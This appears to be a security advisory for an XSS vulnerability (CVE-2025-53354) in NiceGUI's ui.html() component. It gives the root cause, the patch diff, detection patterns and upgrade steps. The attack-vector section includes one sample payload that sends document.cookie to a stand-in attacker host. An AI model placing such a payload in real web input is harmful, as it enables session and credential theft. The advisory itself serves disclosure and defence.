CVE-2025-53354: NiceGUI XSS Vulnerability

CVE-2025-53354 Overview

CVE-2025-53354 is a Cross-Site Scripting (XSS) vulnerability in NiceGUI, a Python-based user interface framework maintained by Zauberzeug. Versions 2.24.2 and earlier fail to sanitize HTML or JavaScript passed into the ui.html() component. Applications that route untrusted input from components such as ui.input() or ui.chat_message into ui.html() allow attackers to inject executable script into the rendered DOM. The issue is tracked as [CWE-79] and is fixed in version 3.0.0. Applications that never pass untrusted input into ui.html() are unaffected.

Critical Impact
Attackers can execute arbitrary JavaScript in a victim's browser session, enabling session theft, credential harvesting, and unauthorized actions performed as the authenticated user.

Affected Products

NiceGUI versions 2.24.2 and earlier
Applications using ui.html() with untrusted input
Applications using ui.chat_message with HTML content without escaping

Discovery Timeline

2025-10-03 - CVE-2025-53354 published to NVD
2026-06-17 - Last updated in NVD database

Technical Details for CVE-2025-53354

Vulnerability Analysis

NiceGUI exposes the ui.html() component to allow developers to render raw HTML in the client browser. The framework does not enforce HTML or JavaScript sanitization on content passed to this component. When an application forwards user-supplied strings from ui.input(), ui.chat_message, or any other input surface directly into ui.html(), attacker-controlled markup and script tags are inserted verbatim into the DOM.

Because NiceGUI applications operate over WebSocket-backed sessions, injected scripts execute within the origin context of the target application. This gives attackers access to cookies, localStorage, and any authenticated API surface exposed to the browser.

Root Cause

The root cause is missing output encoding. The ui.html() component treated all supplied strings as trusted HTML and did not offer built-in sanitization. Developers who combined user input with dynamic HTML rendering had no default protection against script injection. The maintainers addressed this by introducing a sanitize argument for ui.html() in version 3.0.0, backed by the html-sanitizer library.

Attack Vector

Exploitation requires user interaction, typically visiting a crafted URL or submitting attacker-controlled data that another user later views. An attacker submits a payload such as <img src=x onerror=fetch('https://attacker/'+document.cookie)> through an input field that the application renders through ui.html(). When a victim loads the affected view, the browser parses and executes the payload.

The patch introduces a sanitizer dependency and wires it into the example application:

python

 #!/usr/bin/env python3
+from html_sanitizer import Sanitizer
 from langchain_openai import ChatOpenAI
 from log_callback_handler import NiceGuiLogElementCallbackHandler

Source: GitHub Commit 4673dc3

The corresponding dependency addition in requirements.txt:

text

+html-sanitizer>=2.6.0
 langchain>=0.2
 langchain-community
 langchain_openai

Source: GitHub Commit 4673dc3

Detection Methods for CVE-2025-53354

Indicators of Compromise

Outbound HTTP requests from browser sessions to unexpected domains carrying cookie or token values in query strings or request bodies.
Application logs containing user input with <script>, onerror=, onload=, or javascript: fragments passed to ui.html() or ui.chat_message.
Unexpected DOM mutations or injected <iframe>, <img>, or <svg> elements observed in browser telemetry.

Detection Strategies

Perform static analysis on the application codebase to locate every call to ui.html() and ui.chat_message and trace whether untrusted input reaches those sinks.
Deploy a Content Security Policy (CSP) with reporting enabled to surface inline script violations originating from NiceGUI views.
Inspect NiceGUI version metadata in deployed environments and flag any instance running <= 2.24.2.

Monitoring Recommendations

Log all input passed to ui.html() at the application layer and alert on HTML-tag or event-handler patterns.
Monitor egress traffic from user browsers for anomalous requests to domains outside the application's expected scope.
Track dependency inventories to detect vulnerable NiceGUI releases across development, staging, and production.

How to Mitigate CVE-2025-53354

Immediate Actions Required

Upgrade NiceGUI to version 3.0.0 or later in all environments.
Audit application code for any use of ui.html() or ui.chat_message that accepts user-controlled data and enable the new sanitize argument.
Replace ui.html() with safer components such as ui.label() or ui.markdown() where raw HTML is not required.

Patch Information

The fix ships in NiceGUI 3.0.0. The maintainers introduced a sanitize argument for ui.html() backed by the html-sanitizer package. Details are available in the GitHub Security Advisory GHSA-8c95-hpq2-w46f and the remediation commit.

Workarounds

Sanitize user input server-side with a library such as bleach or html-sanitizer before passing it to ui.html().
HTML-escape untrusted values using html.escape() when raw HTML rendering is not required.
Enforce a strict Content Security Policy to block inline script execution and restrict script sources.

bash

# Upgrade NiceGUI to a fixed release
pip install --upgrade 'nicegui>=3.0.0'

# Verify installed version
python -c "import nicegui; print(nicegui.__version__)"

# Add a server-side sanitizer for defense in depth
pip install 'html-sanitizer>=2.6.0'